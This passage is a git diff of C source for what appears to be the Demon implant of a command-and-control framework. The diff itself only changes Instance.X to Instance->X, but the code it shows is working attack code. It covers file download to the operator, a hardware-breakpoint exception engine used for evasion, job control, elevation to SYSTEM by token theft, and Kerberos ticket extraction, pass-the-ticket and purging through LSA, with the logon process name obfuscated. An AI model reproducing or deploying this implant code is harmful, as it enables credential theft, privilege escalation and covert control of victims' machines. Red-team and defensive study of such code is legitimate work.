PDOWNLOAD_DATA DownloadGet( DWORD FileID ) { PDOWNLOAD_DATA Download = NULL; - for ( Download = Instance.Downloads; Download == NULL; Download = Download->Next ) + for ( Download = Instance->Downloads; Download == NULL; Download = Download->Next ) { if ( Download->FileID == FileID ) break; @@ -59,8 +59,8 @@ BOOL DownloadRemove( DWORD FileID ) PDOWNLOAD_DATA Last = NULL; BOOL Success = FALSE; - Download = Instance.Downloads; - Last = Instance.Downloads; + Download = Instance->Downloads; + Last = Instance->Downloads; for ( ;; ) { @@ -97,17 +97,17 @@ VOID DownloadPush() PDOWNLOAD_DATA DownLast = NULL; PPACKAGE Package = NULL; - Download = Instance.Downloads; + Download = Instance->Downloads; /* do we actually have downloads pending? */ if ( ! Download ) { /* we don't have any downloads, free the DownloadChunk if we have one */ - if ( Instance.DownloadChunk.Buffer ) + if ( Instance->DownloadChunk.Buffer ) { - MemSet( Instance.DownloadChunk.Buffer, 0, Instance.DownloadChunk.Length ); - MmHeapFree( Instance.DownloadChunk.Buffer ); - Instance.DownloadChunk.Buffer = NULL; + MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length ); + MmHeapFree( Instance->DownloadChunk.Buffer ); + Instance->DownloadChunk.Buffer = NULL; } return; @@ -121,12 +121,12 @@ VOID DownloadPush() /* seems like we have some current downloads * allocate a chunk of memory to use for the chunks. */ - if ( ! Instance.DownloadChunk.Buffer ) + if ( ! Instance->DownloadChunk.Buffer ) { - Instance.DownloadChunk.Buffer = MmHeapAlloc( Instance.Config.Implant.DownloadChunkSize ); - Instance.DownloadChunk.Length = Instance.Config.Implant.DownloadChunkSize; + Instance->DownloadChunk.Buffer = MmHeapAlloc( Instance->Config.Implant.DownloadChunkSize ); + Instance->DownloadChunk.Length = Instance->Config.Implant.DownloadChunkSize; - PRINTF( "Allocated memory for DownloadChunk. Buffer:[%p] Size:[%d]\n", Instance.DownloadChunk.Buffer, Instance.DownloadChunk.Length ) + PRINTF( "Allocated memory for DownloadChunk. Buffer:[%p] Size:[%d]\n", Instance->DownloadChunk.Buffer, Instance->DownloadChunk.Length ) } PRINTF( "Download: %p\n", Download ) @@ -137,9 +137,9 @@ VOID DownloadPush() PRINTF( "Download (%x) is in state DOWNLOAD_STATE_RUNNING\n", Download->FileID ) /* Reset memory. */ - MemSet( Instance.DownloadChunk.Buffer, 0, Instance.DownloadChunk.Length ); + MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length ); - if ( ! Instance.Win32.ReadFile( Download->hFile, Instance.DownloadChunk.Buffer, Instance.DownloadChunk.Length, &Read, NULL ) ) + if ( ! Instance->Win32.ReadFile( Download->hFile, Instance->DownloadChunk.Buffer, Instance->DownloadChunk.Length, &Read, NULL ) ) PRINTF( "ReadFile Failed: Error[%d]\n", NtGetLastError() ); Download->Size -= Read; @@ -158,7 +158,7 @@ VOID DownloadPush() PackageAddInt32( Package, Download->FileID ); /* Download Write data (and only send what we read.) */ - PackageAddBytes( Package, Instance.DownloadChunk.Buffer, Read ); + PackageAddBytes( Package, Instance->DownloadChunk.Buffer, Read ); /* Send that chunk */ PUTS( "transmit download chunk" ) @@ -197,7 +197,7 @@ VOID DownloadPush() Download = Download->Next; } - Download = Instance.Downloads; + Download = Instance->Downloads; DownLast = NULL; /* why do we do that again ? @@ -212,7 +212,7 @@ VOID DownloadPush() /* we are at the beginning. */ if ( ! DownLast ) { - Instance.Downloads = Download->Next; + Instance->Downloads = Download->Next; DownloadFree( Download ); Download = NULL; } @@ -231,13 +231,13 @@ VOID DownloadPush() } /* Reset memory. */ - if ( Instance.DownloadChunk.Buffer ) - MemSet( Instance.DownloadChunk.Buffer, 0, Instance.DownloadChunk.Length ); + if ( Instance->DownloadChunk.Buffer ) + MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length ); } BOOL MemFileIsNew( ULONG32 ID ) { - PMEM_FILE MemFile = Instance.MemFiles; + PMEM_FILE MemFile = Instance->MemFiles; while ( MemFile ) { @@ -260,7 +260,7 @@ PMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize ) MemFile->Size = Size; MemFile->Data = MmHeapAlloc( MemFile->Size ); MemFile->ReadSize = 0; - MemFile->Next = Instance.MemFiles; + MemFile->Next = Instance->MemFiles; if ( ! MemFile->Data ) { @@ -277,7 +277,7 @@ PMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize ) PRINTF( "Copying %x bytes, bytes missing: 0x%x\n", ReadSize, MemFile->Size - MemFile->ReadSize ) /* Push to linked list */ - Instance.MemFiles = MemFile; + Instance->MemFiles = MemFile; PRINTF( "Added a MemFile [%x]\n", MemFile->ID ) @@ -286,7 +286,7 @@ PMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize ) PMEM_FILE GetMemFile( ULONG32 ID ) { - PMEM_FILE MemFile = Instance.MemFiles; + PMEM_FILE MemFile = Instance->MemFiles; while ( MemFile ) { @@ -358,12 +358,12 @@ BOOL RemoveMemFile( ULONG32 ID ) PMEM_FILE Last = NULL; BOOL Success = FALSE; - if ( Instance.MemFiles && Instance.MemFiles->Next == NULL ) + if ( Instance->MemFiles && Instance->MemFiles->Next == NULL ) { - if ( Instance.MemFiles->ID == ID ) + if ( Instance->MemFiles->ID == ID ) { - MemFileFree( Instance.MemFiles ); - Instance.MemFiles = NULL; + MemFileFree( Instance->MemFiles ); + Instance->MemFiles = NULL; Success = TRUE; } @@ -371,8 +371,8 @@ BOOL RemoveMemFile( ULONG32 ID ) return Success; } - MemFile = Instance.MemFiles; - Last = Instance.MemFiles; + MemFile = Instance->MemFiles; + Last = Instance->MemFiles; for ( ;; ) { diff --git a/payloads/Demon/src/core/HwBpEngine.c b/payloads/Demon/src/core/HwBpEngine.c index 6b4c2c3..8aeefd4 100644 --- a/payloads/Demon/src/core/HwBpEngine.c +++ b/payloads/Demon/src/core/HwBpEngine.c @@ -25,22 +25,22 @@ NTSTATUS HwBpEngineInit( /* check if an engine object has been specified in the function param. * if not then check if the callee wants to init the global engine. * tho if the global engine has been already init then abort */ - if ( ( ! HwBpEngine && ! HwBpHandler ) && Instance.HwBpEngine ) { + if ( ( ! HwBpEngine && ! HwBpHandler ) && Instance->HwBpEngine ) { return STATUS_INVALID_PARAMETER; } - if ( Instance.HwBpEngine ) { + if ( Instance->HwBpEngine ) { } /* since we did not specify an engine let's use the global one */ if ( ! HwBpEngine ) { - HwBpEngine = Instance.HwBpEngine = MmHeapAlloc( sizeof( HWBP_ENGINE ) ); + HwBpEngine = Instance->HwBpEngine = MmHeapAlloc( sizeof( HWBP_ENGINE ) ); HwBpHandler = &ExceptionHandler; } /* register Vectored exception handler */ - if ( ! ( HwBpEngine->Veh = Instance.Win32.RtlAddVectoredExceptionHandler( TRUE, HwBpHandler ) ) ) { + if ( ! ( HwBpEngine->Veh = Instance->Win32.RtlAddVectoredExceptionHandler( TRUE, HwBpHandler ) ) ) { return STATUS_UNSUCCESSFUL; } @@ -64,7 +64,7 @@ NTSTATUS HwBpEngineSetBp( IN BYTE Position, IN BYTE Add ) { - DWORD Pid = Instance.Session.PID; + DWORD Pid = Instance->Session.PID; CLIENT_ID Client = { 0 }; CONTEXT Context = { 0 }; HANDLE Thread = NULL; @@ -162,7 +162,7 @@ NTSTATUS HwBpEngineAdd( PRINTF( "Engine:[%p] Tid:[%d] Address:[%p] Function:[%p] Position:[%d]\n", Engine, Tid, Address, Function, Position ) /* check if engine has been specified */ - if ( ! HwBpEngine && ! Instance.HwBpEngine ) { + if ( ! HwBpEngine && ! Instance->HwBpEngine ) { return STATUS_INVALID_PARAMETER; } @@ -173,7 +173,7 @@ NTSTATUS HwBpEngineAdd( /* if no engine specified use the global one */ if ( ! HwBpEngine ) { - HwBpEngine = Instance.HwBpEngine; + HwBpEngine = Instance->HwBpEngine; } /* create bp entry */ @@ -215,12 +215,12 @@ NTSTATUS HwBpEngineRemove( PBP_LIST BpEntry = NULL; PBP_LIST BpLast = NULL; - if ( ! Engine && ! Instance.HwBpEngine ) { + if ( ! Engine && ! Instance->HwBpEngine ) { return STATUS_INVALID_PARAMETER; } if ( ! HwBpEngine ) { - HwBpEngine = Instance.HwBpEngine; + HwBpEngine = Instance->HwBpEngine; } /* set linked list */ @@ -265,16 +265,16 @@ NTSTATUS HwBpEngineDestroy( PBP_LIST BpEntry = NULL; PBP_LIST BpNext = NULL; - if ( ! Engine && ! Instance.HwBpEngine ) { + if ( ! Engine && ! Instance->HwBpEngine ) { return STATUS_INVALID_PARAMETER; } if ( ! HwBpEngine ) { - HwBpEngine = Instance.HwBpEngine; + HwBpEngine = Instance->HwBpEngine; } /* remove Vector exception handler */ - Instance.Win32.RtlRemoveVectoredExceptionHandler( HwBpEngine->Veh ); + Instance->Win32.RtlRemoveVectoredExceptionHandler( HwBpEngine->Veh ); BpEntry = HwBpEngine->Breakpoints; @@ -301,10 +301,10 @@ NTSTATUS HwBpEngineDestroy( } while ( TRUE ); /* free global state */ - if ( HwBpEngine == Instance.HwBpEngine ) { + if ( HwBpEngine == Instance->HwBpEngine ) { MmHeapFree( HwBpEngine ); - Instance.HwBpEngine = NULL; + Instance->HwBpEngine = NULL; } HwBpEngine = NULL; @@ -327,7 +327,7 @@ LONG ExceptionHandler( { PRINTF( "Exception Address: %p\n", Exception->ExceptionRecord->ExceptionAddress ) - BpEntry = Instance.HwBpEngine->Breakpoints; + BpEntry = Instance->HwBpEngine->Breakpoints; /* search in linked list for bp entry */ while ( BpEntry ) diff --git a/payloads/Demon/src/core/Jobs.c b/payloads/Demon/src/core/Jobs.c index f05f8c3..f238d14 100644 --- a/payloads/Demon/src/core/Jobs.c +++ b/payloads/Demon/src/core/Jobs.c @@ -21,7 +21,7 @@ VOID JobAdd( UINT32 RequestID, DWORD JobID, SHORT Type, SHORT State, HANDLE Hand PJOB_DATA JobList = NULL; PJOB_DATA Job = NULL; - Job = Instance.Win32.LocalAlloc( LPTR, sizeof( JOB_DATA ) ); + Job = Instance->Win32.LocalAlloc( LPTR, sizeof( JOB_DATA ) ); // fill the Job info and insert it into our linked list Job->RequestID = RequestID; @@ -32,13 +32,13 @@ VOID JobAdd( UINT32 RequestID, DWORD JobID, SHORT Type, SHORT State, HANDLE Hand Job->Data = Data; Job->Next = NULL; - if ( Instance.Jobs == NULL ) + if ( Instance->Jobs == NULL ) { - Instance.Jobs = Job; + Instance->Jobs = Job; return; } - JobList = Instance.Jobs; + JobList = Instance->Jobs; do { if ( JobList ) @@ -64,7 +64,7 @@ VOID JobCheckList() { PJOB_DATA JobList = NULL; - JobList = Instance.Jobs; + JobList = Instance->Jobs; do { if ( ! JobList ) @@ -77,7 +77,7 @@ VOID JobCheckList() if ( JobList->State == JOB_STATE_RUNNING ) { DWORD Return = 0; - Instance.Win32.GetExitCodeProcess( JobList->Handle, &Return ); + Instance->Win32.GetExitCodeProcess( JobList->Handle, &Return ); if ( Return != STILL_ACTIVE ) JobList->State = JOB_STATE_DEAD; @@ -90,7 +90,7 @@ VOID JobCheckList() if ( JobList->State == JOB_STATE_RUNNING ) { DWORD Return = 0; - Instance.Win32.GetExitCodeThread( JobList->Handle, &Return ); + Instance->Win32.GetExitCodeThread( JobList->Handle, &Return ); if ( Return != STILL_ACTIVE ) JobList->State = JOB_STATE_DEAD; @@ -105,7 +105,7 @@ VOID JobCheckList() { DWORD Status = 0; - Instance.Win32.GetExitCodeProcess( JobList->Handle, &Status ); + Instance->Win32.GetExitCodeProcess( JobList->Handle, &Status ); if ( Status != STILL_ACTIVE ) { @@ -145,16 +145,16 @@ VOID JobCheckList() PVOID Buffer = NULL; DWORD Size = 0; - if ( Instance.Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) ) + if ( Instance->Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) ) { PRINTF( "PeekNamedPipe: Available anon size %d\n", Available ); if ( Available > 0 ) { Size = Available; - Buffer = Instance.Win32.LocalAlloc( LPTR, Size ); + Buffer = Instance->Win32.LocalAlloc( LPTR, Size ); - if ( Instance.Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) ) + if ( Instance->Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) ) { PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, JobList->RequestID ); PackageAddBytes( Package, Buffer, Available ); @@ -183,7 +183,7 @@ VOID JobCheckList() */ BOOL JobSuspend( DWORD JobID ) { - PJOB_DATA JobList = Instance.Jobs; + PJOB_DATA JobList = Instance->Jobs; while ( JobList ) { @@ -229,7 +229,7 @@ BOOL JobSuspend( DWORD JobID ) */ BOOL JobResume( DWORD JobID ) { - PJOB_DATA JobList = Instance.Jobs; + PJOB_DATA JobList = Instance->Jobs; while ( JobList ) { @@ -277,7 +277,7 @@ BOOL JobResume( DWORD JobID ) BOOL JobKill( DWORD JobID ) { BOOL Success = FALSE; - PJOB_DATA JobList = Instance.Jobs; + PJOB_DATA JobList = Instance->Jobs; while ( JobList ) { @@ -299,17 +299,17 @@ BOOL JobKill( DWORD JobID ) { PUTS( "Kill using handle" ) - if ( ! NT_SUCCESS( NtStatus = Instance.Win32.NtTerminateThread( JobList->Handle, STATUS_SUCCESS ) ) ) + if ( ! NT_SUCCESS( NtStatus = Instance->Win32.NtTerminateThread( JobList->Handle, STATUS_SUCCESS ) ) ) { PRINTF( "TerminateThread NtStatus:[%ul]\n", NtStatus ) - NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); + NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); PACKAGE_ERROR_WIN32; Success = FALSE; } else { // remove one thread from counter - Instance.Threads--; + Instance->Threads--; } } else @@ -325,7 +325,7 @@ BOOL JobKill( DWORD JobID ) { if ( JobList->State != JOB_STATE_DEAD ) { - Instance.Win32.TerminateProcess( JobList->Handle, 0 ); + Instance->Win32.TerminateProcess( JobList->Handle, 0 ); } break; } @@ -334,22 +334,22 @@ BOOL JobKill( DWORD JobID ) { if ( JobList->State != JOB_STATE_DEAD ) { - Instance.Win32.TerminateProcess( JobList->Handle, 0 ); + Instance->Win32.TerminateProcess( JobList->Handle, 0 ); // just read what there is available. DWORD Available = 0; PVOID Buffer = NULL; - if ( Instance.Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) ) + if ( Instance->Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) ) { PRINTF( "PeekNamedPipe: Available anon size %d\n", Available ); if ( Available > 0 ) { DWORD Size = Available; - Buffer = Instance.Win32.LocalAlloc( LPTR, Size ); + Buffer = Instance->Win32.LocalAlloc( LPTR, Size ); - if ( Instance.Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) ) + if ( Instance->Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) ) { PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, JobList->RequestID ); PackageAddBytes( Package, Buffer, Available ); @@ -388,14 +388,14 @@ VOID JobRemove( DWORD JobID ) PJOB_DATA JobList = NULL; PJOB_DATA JobToRemove = NULL; - if ( Instance.Jobs && Instance.Jobs->JobID == JobID ) + if ( Instance->Jobs && Instance->Jobs->JobID == JobID ) { - JobToRemove = Instance.Jobs; - Instance.Jobs = JobToRemove->Next; + JobToRemove = Instance->Jobs; + Instance->Jobs = JobToRemove->Next; } else { - JobList = Instance.Jobs; + JobList = Instance->Jobs; while ( JobList ) { @@ -426,6 +426,6 @@ VOID JobRemove( DWORD JobID ) } MemSet( JobToRemove, 0, sizeof( JOB_DATA ) ); - Instance.Win32.LocalFree( JobToRemove ); + Instance->Win32.LocalFree( JobToRemove ); JobToRemove = NULL; } diff --git a/payloads/Demon/src/core/Kerberos.c b/payloads/Demon/src/core/Kerberos.c index 707deef..20ce469 100644 --- a/payloads/Demon/src/core/Kerberos.c +++ b/payloads/Demon/src/core/Kerberos.c @@ -12,14 +12,14 @@ BOOL IsHighIntegrity(HANDLE TokenHandle) SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; PSID AdministratorsGroup = NULL; - Success = Instance.Win32.AllocateAndInitializeSid( &NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup ); + Success = Instance->Win32.AllocateAndInitializeSid( &NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup ); if ( Success ) { - if ( ! Instance.Win32.CheckTokenMembership( NULL, AdministratorsGroup, &ReturnValue ) ) + if ( ! Instance->Win32.CheckTokenMembership( NULL, AdministratorsGroup, &ReturnValue ) ) { ReturnValue = FALSE; } - Instance.Win32.FreeSid( AdministratorsGroup ); + Instance->Win32.FreeSid( AdministratorsGroup ); AdministratorsGroup = NULL; } @@ -32,14 +32,14 @@ DWORD GetProcessIdByName(WCHAR* processName) PROCESSENTRY32W pe32 = { 0 }; DWORD Pid = -1; - hProcessSnap = Instance.Win32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + hProcessSnap = Instance->Win32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if ( hProcessSnap == INVALID_HANDLE_VALUE ) { return Pid; } pe32.dwSize = sizeof(PROCESSENTRY32W); - if ( ! Instance.Win32.Process32FirstW( hProcessSnap, &pe32 ) ) + if ( ! Instance->Win32.Process32FirstW( hProcessSnap, &pe32 ) ) { SysNtClose( hProcessSnap ); return Pid; @@ -52,7 +52,7 @@ DWORD GetProcessIdByName(WCHAR* processName) break; } - } while (Instance.Win32.Process32NextW(hProcessSnap, &pe32)); + } while (Instance->Win32.Process32NextW(hProcessSnap, &pe32)); SysNtClose( hProcessSnap ); return Pid; @@ -109,20 +109,20 @@ BOOL ElevateToSystem() } else { - PRINTF( "TokenDuplicate: Failed [%d]\n", Instance.Win32.RtlNtStatusToDosError( NtStatus ) ) + PRINTF( "TokenDuplicate: Failed [%d]\n", Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) } SysNtClose( hToken ); } else { - PRINTF( "NtOpenProcessToken: Failed [%d]\n", Instance.Win32.RtlNtStatusToDosError( NtStatus ) ) + PRINTF( "NtOpenProcessToken: Failed [%d]\n", Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) } SysNtClose( hProcess ); } else { - PRINTF( "NtOpenProcessToken: Failed [%d]\n", Instance.Win32.RtlNtStatusToDosError( NtStatus ) ) + PRINTF( "NtOpenProcessToken: Failed [%d]\n", Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) } return ReturnValue; @@ -138,16 +138,16 @@ BOOL IsSystem( HANDLE TokenHandle ) PSID pSystemSid = NULL; BOOL bSystem = FALSE; - if ( ! Instance.Win32.GetTokenInformation( hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser ) ) + if ( ! Instance->Win32.GetTokenInformation( hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser ) ) { return FALSE; } - if ( ! Instance.Win32.AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) ) + if ( ! Instance->Win32.AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) ) return FALSE; - bSystem = Instance.Win32.EqualSid( pTokenUser->User.Sid, pSystemSid ); - Instance.Win32.FreeSid( pSystemSid ); + bSystem = Instance->Win32.EqualSid( pTokenUser->User.Sid, pSystemSid ); + Instance->Win32.FreeSid( pSystemSid ); return bSystem; } @@ -160,10 +160,10 @@ NTSTATUS GetLsaHandle( HANDLE hToken, BOOL highIntegrity, PHANDLE hLsa ) if ( ! highIntegrity ) { - status = Instance.Win32.LsaConnectUntrusted( &hLsaLocal ); + status = Instance->Win32.LsaConnectUntrusted( &hLsaLocal ); if ( ! NT_SUCCESS( status ) ) { - status = Instance.Win32.LsaNtStatusToWinError( status ); + status = Instance->Win32.LsaNtStatusToWinError( status ); } } else @@ -182,24 +182,24 @@ NTSTATUS GetLsaHandle( HANDLE hToken, BOOL highIntegrity, PHANDLE hLsa ) name[ 9 ] = HideChar('\0'); name[ 5 ] = HideChar('o'); STRING lsaString = (STRING){.Length = 8, .MaximumLength = 9, .Buffer = name}; - status = Instance.Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode ); + status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode ); if ( ! NT_SUCCESS( status ) || ! hLsaLocal ) { if ( IsSystem( hToken ) ) { - status = Instance.Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode ); + status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode ); if ( ! NT_SUCCESS( status ) ) { - status = Instance.Win32.LsaNtStatusToWinError( status ); + status = Instance->Win32.LsaNtStatusToWinError( status ); } } else { if ( ElevateToSystem() ) { - status = Instance.Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode ); + status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode ); if ( ! NT_SUCCESS( status ) ) { - status = Instance.Win32.LsaNtStatusToWinError( status ); + status = Instance->Win32.LsaNtStatusToWinError( status ); } TokenRevSelf(); } @@ -221,16 +221,16 @@ NTSTATUS GetLogonSessionData( LUID luid, PLOGON_SESSION_DATA* data ) PSECURITY_LOGON_SESSION_DATA logonData = NULL; NTSTATUS status = STATUS_UNSUCCESSFUL; - sessionData = Instance.Win32.LocalAlloc( LPTR, sizeof( LOGON_SESSION_DATA ) ); + sessionData = Instance->Win32.LocalAlloc( LPTR, sizeof( LOGON_SESSION_DATA ) ); if ( ! sessionData ) return status; if ( luid.LowPart != 0 ) { - status = Instance.Win32.LsaGetLogonSessionData( &luid, &logonData ); + status = Instance->Win32.LsaGetLogonSessionData( &luid, &logonData ); if ( NT_SUCCESS( status ) ) { - sessionData->sessionData = Instance.Win32.LocalAlloc( LPTR, sizeof(*sessionData->sessionData) ); + sessionData->sessionData = Instance->Win32.LocalAlloc( LPTR, sizeof(*sessionData->sessionData) ); if ( sessionData->sessionData != NULL ) { sessionData->sessionCount = 1; @@ -247,17 +247,17 @@ NTSTATUS GetLogonSessionData( LUID luid, PLOGON_SESSION_DATA* data ) { ULONG logonSessionCount; PLUID logonSessionList; - status = Instance.Win32.LsaEnumerateLogonSessions( &logonSessionCount, &logonSessionList ); + status = Instance->Win32.LsaEnumerateLogonSessions( &logonSessionCount, &logonSessionList ); if ( NT_SUCCESS( status ) ) { - sessionData->sessionData = Instance.Win32.LocalAlloc( LPTR, logonSessionCount * sizeof(*sessionData->sessionData) ); + sessionData->sessionData = Instance->Win32.LocalAlloc( LPTR, logonSessionCount * sizeof(*sessionData->sessionData) ); if ( sessionData->sessionData != NULL ) { sessionData->sessionCount = logonSessionCount; for ( int i = 0; i < logonSessionCount; i++ ) { LUID luid2 = logonSessionList[i]; - status = Instance.Win32.LsaGetLogonSessionData( &luid2, &logonData ); + status = Instance->Win32.LsaGetLogonSessionData( &luid2, &logonData ); if ( NT_SUCCESS(status) ) { sessionData->sessionData[i] = logonData; @@ -267,7 +267,7 @@ NTSTATUS GetLogonSessionData( LUID luid, PLOGON_SESSION_DATA* data ) sessionData->sessionData[i] = NULL; } } - Instance.Win32.LsaFreeReturnBuffer( logonSessionList ); + Instance->Win32.LsaFreeReturnBuffer( logonSessionList ); *data = sessionData; } else @@ -290,7 +290,7 @@ VOID ExtractTicket( HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING ta ULONG TicketSize = 0; PBYTE Ticket = NULL; - retrieveRequest = Instance.Win32.LocalAlloc( LPTR, responseSize * sizeof( KERB_RETRIEVE_TKT_REQUEST ) ); + retrieveRequest = Instance->Win32.LocalAlloc( LPTR, responseSize * sizeof( KERB_RETRIEVE_TKT_REQUEST ) ); if ( ! retrieveRequest ) return; @@ -304,13 +304,13 @@ VOID ExtractTicket( HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING ta retrieveRequest->TargetName.Buffer = ( PWSTR )( (PBYTE )retrieveRequest + sizeof( KERB_RETRIEVE_TKT_REQUEST )); MemCopy( retrieveRequest->TargetName.Buffer, targetName.Buffer, targetName.MaximumLength ); - status = Instance.Win32.LsaCallAuthenticationPackage( hLsa, authPackage, retrieveRequest, responseSize, (LPVOID*)&retrieveResponse, &responseSize, &protocolStatus ); + status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, retrieveRequest, responseSize, (LPVOID*)&retrieveResponse, &responseSize, &protocolStatus ); if ( NT_SUCCESS( status ) && NT_SUCCESS( protocolStatus ) ) { if ( NT_SUCCESS( protocolStatus ) ) { TicketSize = retrieveResponse->Ticket.EncodedTicketSize; - Ticket = Instance.Win32.LocalAlloc( LPTR, TicketSize ); + Ticket = Instance->Win32.LocalAlloc( LPTR, TicketSize ); if ( Ticket ) { MemCopy( Ticket, retrieveResponse->Ticket.EncodedTicket, TicketSize ); @@ -329,9 +329,9 @@ VOID ExtractTicket( HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING ta } if ( retrieveResponse ) - Instance.Win32.LsaFreeReturnBuffer( retrieveResponse ); + Instance->Win32.LsaFreeReturnBuffer( retrieveResponse ); if ( retrieveRequest ) - Instance.Win32.LocalFree( retrieveRequest ); + Instance->Win32.LocalFree( retrieveRequest ); } VOID CopySessionInfo( PSESSION_INFORMATION Session, PSECURITY_LOGON_SESSION_DATA Data ) @@ -347,10 +347,10 @@ VOID CopySessionInfo( PSESSION_INFORMATION Session, PSECURITY_LOGON_SESSION_DATA Session->Session = Data->Session; // UserSID WCHAR* sid = NULL; - if ( Instance.Win32.ConvertSidToStringSidW(Data->Sid, &sid) ) + if ( Instance->Win32.ConvertSidToStringSidW(Data->Sid, &sid) ) { StringCopyW( Session->UserSID, sid ); - Instance.Win32.LocalFree( sid ); sid = NULL; + Instance->Win32.LocalFree( sid ); sid = NULL; } // LogonTime Session->LogonTime.QuadPart = Data->LogonTime.QuadPart; @@ -440,14 +440,14 @@ BOOL Ptt( HANDLE hToken, PBYTE Ticket, DWORD TicketSize, LUID luid ) goto END; } - status = Instance.Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage ); + status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage ); if ( ! NT_SUCCESS( status ) ) { PRINTF( "[!] LsaLookupAuthenticationPackage %lx\n", status ); goto END; } - submitRequest = Instance.Win32.LocalAlloc( LPTR, submitSize * sizeof( KERB_SUBMIT_TKT_REQUEST ) ); + submitRequest = Instance->Win32.LocalAlloc( LPTR, submitSize * sizeof( KERB_SUBMIT_TKT_REQUEST ) ); if ( ! submitRequest ) goto END; @@ -462,7 +462,7 @@ BOOL Ptt( HANDLE hToken, PBYTE Ticket, DWORD TicketSize, LUID luid ) MemCopy( RVA( PBYTE, submitRequest, submitRequest->KerbCredOffset ), Ticket, TicketSize ); - status = Instance.Win32.LsaCallAuthenticationPackage( hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus ); + status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus ); if ( ! NT_SUCCESS( status ) ) { @@ -481,10 +481,10 @@ BOOL Ptt( HANDLE hToken, PBYTE Ticket, DWORD TicketSize, LUID luid ) END: if ( submitRequest ) { - Instance.Win32.LocalFree( submitRequest ); + Instance->Win32.LocalFree( submitRequest ); } if ( hLsa ) { - Instance.Win32.LsaDeregisterLogonProcess( hLsa ); + Instance->Win32.LsaDeregisterLogonProcess( hLsa ); } MemZero( name, sizeof( name ) ); @@ -534,7 +534,7 @@ BOOL Purge( HANDLE hToken, LUID luid ) goto END; } - status = Instance.Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage ); + status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage ); if ( ! NT_SUCCESS( status ) ) { PRINTF( "[!] LsaLookupAuthenticationPackage %lx\n", status ); @@ -552,11 +552,11 @@ BOOL Purge( HANDLE hToken, LUID luid ) purgeRequest.RealmName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1}; purgeRequest.ServerName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1}; - status = Instance.Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &purgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &purgeResponse, &responseSize, &protocolStatus ); + status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &purgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &purgeResponse, &responseSize, &protocolStatus ); if ( purgeResponse ) { - Instance.Win32.LsaFreeReturnBuffer( purgeResponse ); purgeResponse = NULL; + Instance->Win32.LsaFreeReturnBuffer( purgeResponse ); purgeResponse = NULL; } if ( ! NT_SUCCESS( status ) ) @@ -575,7 +575,7 